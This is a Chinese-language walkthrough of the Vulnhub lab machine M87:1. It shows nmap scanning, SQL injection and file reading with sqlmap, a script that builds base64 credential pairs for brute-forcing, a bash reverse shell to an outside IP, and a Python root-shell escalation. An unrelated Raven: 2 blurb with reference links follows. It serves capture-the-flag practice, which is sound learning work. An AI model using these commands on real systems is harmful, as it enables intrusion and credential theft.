vulnhub——M87:1

M87:1的安装地址:

https://www.vulnhub.com/entry/m87-1,595/

解压后打开:

一.nmap信息收集

sudo nmap -sn 192.168.0.0/24

sudo nmap -sT --min-rate 10000 -p- 192.168.0.173

sudo nmap -sT -sV -sC -O -p22,80,9090 192.168.0.173

sudo nmap -sU --top-ports 20 192.168.0.173

sudo nmap --script=vuln -p22,80,9090 192.168.0.173

二.对收集到的攻击面进行具体的分析

http://192.168.0.173

https://192.168.0.173

是两个登录页面,进行目录扫描,发现了另外的几个登录页面
http://192.168.0.173/admin
http://192.168.0.173/admin/backup

在http://192.168.0.173/admin/ url中尝试参数id=1' 发生了报错,猜测存在sql注入,用sqlmap跑一下

sqlmap -u "http://192.168.0.173/admin/?id=1" --batch
从结果来看存在sql注入漏洞

sqlmap -u "http://192.168.0.173/admin/?id=1" --current-db --batch

sqlmap -u "http://192.168.0.173/admin/?id=1" --tables -D "db"    --batch

sqlmap -u "http://192.168.0.173/admin/?id=1" --columns -T "users" -D "db"    --batch

sqlmap -u "http://192.168.0.173/admin/?id=1" --dump -C "username,password" -T "users" -D "db"    --batch

得到的账号密码并不能登录任何一个界面,但是能通过sqlmap进行文件读取
sqlmap -u "http://192.168.0.173/admin/?id=1"  -D "db" --file-read /etc/passwd  --batch
找到了一个charlotte用户

我们收集到了这么多账号密码,现在又收集到了一个,试着用暴力破解。
抓一个https://192.168.0.173:9090的包
发现有一个Authorization:字段,对里面的字符串解密得到的就是在页面输入的: 账号:密码

对收集到的账号密码进行排列组合,以账号:密码的格式并且base64编码以后输出,可以用python简单写一个脚本
import itertools
import base64

# 给出账号和密码列表
accounts = ['admin', 'adrian', 'alex', 'brad', 'ceo', 'expenses', 'jack', 'john', 'julia', 'mike', 'root', 'charlotte']
passwords = ['gae5g5a', '5t96y4i95y', 'fw54vrfwe45', '4kworw4', '15The4Dm1n4L1f3', 'dsfsrw4']

# 生成所有的排列组合,并对每个结果进行 Base64 编码
for account, password in itertools.product(accounts, passwords):
    result = account + ':' + password
    encoded_result = base64.b64encode(result.encode('utf-8')).decode('utf-8')
    print(encoded_result)

最终得到了一组可以登录的账号密码: charlotte:15The4Dm1n4L1f3,能登录9090端口的页面。
登录进来发现有个终端

建立bash反弹然后开始提权
bash -c "/bin/bash -i >& /dev/tcp/192.168.0.154/9001 0>&1"

建立一个python终端
python -c 'import pty;pty.spawn("/bin/bash")'

查看old发现是python2.7可以利用os模块调用本地的root的shell

获得FLAG

考察点:

1.nmap的使用和对参数的理解

2.目录扫描工具的使用

3.sql注入的理解和sqlmap的使用

4.对信息进行处理的能力,就比如把字符串加密排列组合等

5.burp suit密码爆破的使用

6.Linux提权

思路整理:

首先使用nmap进行信息收集,等到了80,9090两个web站点,访问后发现是两个登录页面,进行目录扫描,扫出来另外两个登录界面,都没有什么特别明显的信息。通过对/admin这个页面的url观察发现输入id=1'时会报错,所以使用sqlmap跑一下,结果真的存在sql注入,然后就是查库,查表,查字段值等,把得到的账号密码都有尝试登录一下,发现都不能成功登录。尝试sqlmap的文件读取功能,读取了/etc/passwd这个文件发现了又一个账号,然后对9090端口进行抓包分析,存在一个

Authorization字段,账号密码的格式为:账号:密码,而且是base64加密过后的。自己写了一个排列组合并且加密的脚本得到了字典,然后爆破出账号密码的组合,成功登录。在登录后的页面发现了一个终端,建立bash反弹,最终利用python完成了提权。

收获的知识点:

1.sqlmap的文件读写功能 :--file-read /etc/passwd

2.python的提权:查看old发现是python2.7可以利用os模块调用本地的root的shell

python -c 'import os;os.setuid(0);os.system("/bin/bash")'

Raven: 2是一台中级难度的boot2root虚拟机,目标是获取四个标志(flag)。Raven Security在多次遭受入侵后,采取了额外措施来加固他们的web服务器,以防止黑客入侵。你可以在Vulnhub上找到Raven: 2的ova文件,并使用VirtualBox打开。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vulnhub靶机raven2](https://blog.csdn.net/weixin_52450702/article/details/127811079)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vulnhub靶机——RAVEN: 2](https://blog.csdn.net/qq_44029310/article/details/126491848)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [Vulnhub靶机系列:Kioptrix: Level 1.2 (#3)](https://download.csdn.net/download/weixin_38717843/14052717)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值